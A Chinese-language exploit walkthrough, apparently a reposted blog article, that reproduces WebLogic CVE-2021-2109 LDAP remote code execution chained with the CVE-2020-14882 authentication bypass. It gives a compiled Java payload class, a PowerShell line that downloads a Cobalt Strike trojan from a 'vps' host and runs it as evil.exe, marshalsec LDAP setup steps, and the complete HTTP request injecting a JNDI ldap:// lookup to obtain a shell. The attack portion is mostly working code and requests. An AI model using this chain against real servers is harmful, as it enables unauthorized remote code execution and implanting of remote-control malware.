weblogic CVE-2021-2109ldap远程代码执行漏洞的复现是怎样的
本篇文章给大家分享的是有关weblogic CVE-2021-2109ldap远程代码执行漏洞的复现是怎样的,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
环境搭建
参考:
https://blog.csdn.net/zhlh_xt/article/details/76436807
下载链接:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
开始安装:
| Java -D64 -jar wls1036_generic.jar |
| C:\Oracle\Middleware\user_projects\domains |
设置密码
搭建完毕
访问目标:
漏洞复现
准备工作:
ldap包下载 https://github.com/RandomRobbieBF/marshalsec-jar/archive/master.zip
构造java包进行编译:Request.java
| import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Request{public Request() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}} |
如想上线CS把calc.exe修改为下载cs木马并执行命令
cd ../../Windows/Temp && powershell (new-object System.Net.WebClient).DownloadFile('http://vps/123.jpg','evil.exe') & evil.exe
进行编译:注意目标环境是什么jdk就用什么jdk版本进行编译
编译好class包后上传到vps
开启http服务,下面放编译好的class包
用下载好的marshalsec包开启ldap服务:
通过burp请求:配合
CVE-2021-2109(ldap远程代码执行)和CVE-2020-14882(未授权访问)
完整数据包:
| POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1Host: 192.168.48.203:7001User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1X-Forwarded-For: 127.0.0.2Content-Length: 163Content-Type: application/x-www-form-urlencoded
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22;ldap://vps:5005/Request;AdminServer%22) |
cs接收shell
限制条件:目标可以出网,能够成功构造和发送包
以上就是weblogic CVE-2021-2109ldap远程代码执行漏洞的复现是怎样的,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。